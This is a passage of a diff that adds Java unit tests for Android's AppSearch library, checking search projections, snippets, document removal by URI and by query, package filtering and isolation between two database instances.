+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail).build()));
+
+        // Query for the document
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+
+        List<SearchResult> results;
+        List<GenericDocument> documents = new ArrayList<>();
+        // keep loading next page until it's empty.
+        do {
+            results = searchResults.getNextPage().get();
+            for (SearchResult result : results) {
+                assertThat(result.getDocument()).isEqualTo(inEmail);
+                assertThat(result.getDatabaseName()).isEqualTo(DB_NAME_1);
+                documents.add(result.getDocument());
+            }
+        } while (results.size() > 0);
+        assertThat(documents).hasSize(1);
+
+        // Schema registration for another database
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail).build()));
+
+        // Query for the document
+        searchResults =
+                mDb2.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+
+        documents = new ArrayList<>();
+        // keep loading next page until it's empty.
+        do {
+            results = searchResults.getNextPage().get();
+            for (SearchResult result : results) {
+                assertThat(result.getDocument()).isEqualTo(inEmail);
+                assertThat(result.getDatabaseName()).isEqualTo(DB_NAME_2);
+                documents.add(result.getDocument());
+            }
+        } while (results.size() > 0);
+        assertThat(documents).hasSize(1);
+    }
+
+    @Test
+    public void testQuery_projection() throws Exception {
+        // Schema registration
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(
+                                        new AppSearchSchema.Builder("Note")
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("title")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("body")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .build())
+                                .build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument note =
+                new GenericDocument.Builder<>("uri2", "Note")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email, note)
+                                .build()));
+
+        // Query with type property paths {"Email", ["body", "to"]}
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, "body", "to")
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The email document should have been returned with only the "body" and "to"
+        // properties. The note document should have been returned with all of its properties.
+        AppSearchEmail expectedEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument expectedNote =
+                new GenericDocument.Builder<>("uri2", "Note")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        assertThat(documents).containsExactly(expectedNote, expectedEmail);
+    }
+
+    @Test
+    public void testQuery_projectionEmpty() throws Exception {
+        // Schema registration
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(
+                                        new AppSearchSchema.Builder("Note")
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("title")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("body")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .build())
+                                .build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument note =
+                new GenericDocument.Builder<>("uri2", "Note")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email, note)
+                                .build()));
+
+        // Query with type property paths {"Email", []}
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, Collections.emptyList())
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The email document should have been returned without any properties. The note document
+        // should have been returned with all of its properties.
+        AppSearchEmail expectedEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        GenericDocument expectedNote =
+                new GenericDocument.Builder<>("uri2", "Note")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        assertThat(documents).containsExactly(expectedNote, expectedEmail);
+    }
+
+    @Test
+    public void testQuery_projectionNonExistentType() throws Exception {
+        // Schema registration
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(
+                                        new AppSearchSchema.Builder("Note")
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("title")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("body")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .build())
+                                .build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument note =
+                new GenericDocument.Builder<>("uri2", "Note")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email, note)
+                                .build()));
+
+        // Query with type property paths {"NonExistentType", []}, {"Email", ["body", "to"]}
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection("NonExistentType", Collections.emptyList())
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, "body", "to")
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The email document should have been returned with only the "body" and "to" properties.
+        // The note document should have been returned with all of its properties.
+        AppSearchEmail expectedEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument expectedNote =
+                new GenericDocument.Builder<>("uri2", "Note")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        assertThat(documents).containsExactly(expectedNote, expectedEmail);
+    }
+
+    @Test
+    public void testQuery_wildcardProjection() throws Exception {
+        // Schema registration
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(
+                                        new AppSearchSchema.Builder("Note")
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("title")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("body")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .build())
+                                .build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument note =
+                new GenericDocument.Builder<>("uri2", "Note")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email, note)
+                                .build()));
+
+        // Query with type property paths {"*", ["body", "to"]}
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(
+                                        SearchSpec.PROJECTION_SCHEMA_TYPE_WILDCARD, "body", "to")
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The email document should have been returned with only the "body" and "to"
+        // properties. The note document should have been returned with only the "body" property.
+        AppSearchEmail expectedEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument expectedNote =
+                new GenericDocument.Builder<>("uri2", "Note")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("body", "Note body")
+                        .build();
+        assertThat(documents).containsExactly(expectedNote, expectedEmail);
+    }
+
+    @Test
+    public void testQuery_wildcardProjectionEmpty() throws Exception {
+        // Schema registration
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(
+                                        new AppSearchSchema.Builder("Note")
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("title")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("body")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .build())
+                                .build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument note =
+                new GenericDocument.Builder<>("uri2", "Note")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email, note)
+                                .build()));
+
+        // Query with type property paths {"*", []}
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(
+                                        SearchSpec.PROJECTION_SCHEMA_TYPE_WILDCARD,
+                                        Collections.emptyList())
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The email and note documents should have been returned without any properties.
+        AppSearchEmail expectedEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        GenericDocument expectedNote =
+                new GenericDocument.Builder<>("uri2", "Note")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        assertThat(documents).containsExactly(expectedNote, expectedEmail);
+    }
+
+    @Test
+    public void testQuery_wildcardProjectionNonExistentType() throws Exception {
+        // Schema registration
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(
+                                        new AppSearchSchema.Builder("Note")
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("title")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("body")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .build())
+                                .build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument note =
+                new GenericDocument.Builder<>("uri2", "Note")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email, note)
+                                .build()));
+
+        // Query with type property paths {"NonExistentType", []}, {"*", ["body", "to"]}
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection("NonExistentType", Collections.emptyList())
+                                .addProjection(
+                                        SearchSpec.PROJECTION_SCHEMA_TYPE_WILDCARD, "body", "to")
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The email document should have been returned with only the "body" and "to"
+        // properties. The note document should have been returned with only the "body" property.
+        AppSearchEmail expectedEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument expectedNote =
+                new GenericDocument.Builder<>("uri2", "Note")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("body", "Note body")
+                        .build();
+        assertThat(documents).containsExactly(expectedNote, expectedEmail);
+    }
+
+    @Test
+    public void testQuery_twoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document to instance 1.
+        AppSearchEmail inEmail1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail1).build()));
+
+        // Index a document to instance 2.
+        AppSearchEmail inEmail2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail2).build()));
+
+        // Query for instance 1.
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents).containsExactly(inEmail1);
+
+        // Query for instance 2.
+        searchResults =
+                mDb2.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents).containsExactly(inEmail2);
+    }
+
+    @Test
+    public void testSnippet() throws Exception {
+        // Schema registration
+        // TODO(tytytyww) add property for long and  double.
+        AppSearchSchema genericSchema =
+                new AppSearchSchema.Builder("Generic")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .build())
+                        .build();
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(genericSchema).build()).get();
+
+        // Index a document
+        GenericDocument document =
+                new GenericDocument.Builder<>("uri", "Generic")
+                        .setNamespace("document")
+                        .setPropertyString(
+                                "subject",
+                                "A commonly used fake word is foo. "
+                                        + "Another nonsense word that’s used a lot is bar")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(document).build()));
+
+        // Query for the document
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .addFilterSchemas("Generic")
+                                .setSnippetCount(1)
+                                .setSnippetCountPerProperty(1)
+                                .setMaxSnippetSize(10)
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .build());
+        List<SearchResult> results = searchResults.getNextPage().get();
+        assertThat(results).hasSize(1);
+
+        List<SearchResult.MatchInfo> matchInfos = results.get(0).getMatches();
+        assertThat(matchInfos).isNotNull();
+        assertThat(matchInfos).hasSize(1);
+        SearchResult.MatchInfo matchInfo = matchInfos.get(0);
+        assertThat(matchInfo.getFullText())
+                .isEqualTo(
+                        "A commonly used fake word is foo. "
+                                + "Another nonsense word that’s used a lot is bar");
+        assertThat(matchInfo.getExactMatchPosition())
+                .isEqualTo(new SearchResult.MatchRange(/*lower=*/ 29, /*upper=*/ 32));
+        assertThat(matchInfo.getExactMatch()).isEqualTo("foo");
+        assertThat(matchInfo.getSnippetPosition())
+                .isEqualTo(new SearchResult.MatchRange(/*lower=*/ 26, /*upper=*/ 33));
+        assertThat(matchInfo.getSnippet()).isEqualTo("is foo.");
+    }
+
+    @Test
+    public void testRemove() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri2")).hasSize(1);
+
+        // Delete the document
+        checkIsBatchResultSuccess(
+                mDb1.remove(new RemoveByUriRequest.Builder().addUris("uri1").build()));
+
+        // Make sure it's really gone
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUris("uri1", "uri2").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+
+        // Test if we delete a nonexistent URI.
+        AppSearchBatchResult<String, Void> deleteResult =
+                mDb1.remove(new RemoveByUriRequest.Builder().addUris("uri1").build()).get();
+
+        assertThat(deleteResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testRemoveByQuery() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("foo")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("bar")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri2")).hasSize(1);
+
+        // Delete the email 1 by query "foo"
+        mDb1.remove(
+                        "foo",
+                        new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+                .get();
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUris("uri1", "uri2").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+
+        // Delete the email 2 by query "bar"
+        mDb1.remove(
+                        "bar",
+                        new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+                .get();
+        getResult = mDb1.getByUri(new GetByUriRequest.Builder().addUris("uri2").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri2").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testRemoveByQuery_packageFilter() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("foo")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+        // Try to delete email with query "foo", but restricted to a different package name.
+        // Won't work and email will still exist.
+        mDb1.remove(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterPackageNames("some.other.package")
+                                .build())
+                .get();
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+        // Delete the email by query "foo", restricted to the correct package this time.
+        mDb1.remove(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterPackageNames(
+                                        ApplicationProvider.getApplicationContext()
+                                                .getPackageName())
+                                .build())
+                .get();
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUris("uri1", "uri2").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testRemove_twoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+        // Can't delete in the other instance.
+        AppSearchBatchResult<String, Void> deleteResult =
+                mDb2.remove(new RemoveByUriRequest.Builder().addUris("uri1").build()).get();
+        assertThat(deleteResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+        // Delete the document
+        checkIsBatchResultSuccess(
+                mDb1.remove(new RemoveByUriRequest.Builder().addUris("uri1").build()));
+
+        // Make sure it's really gone
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUris("uri1").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
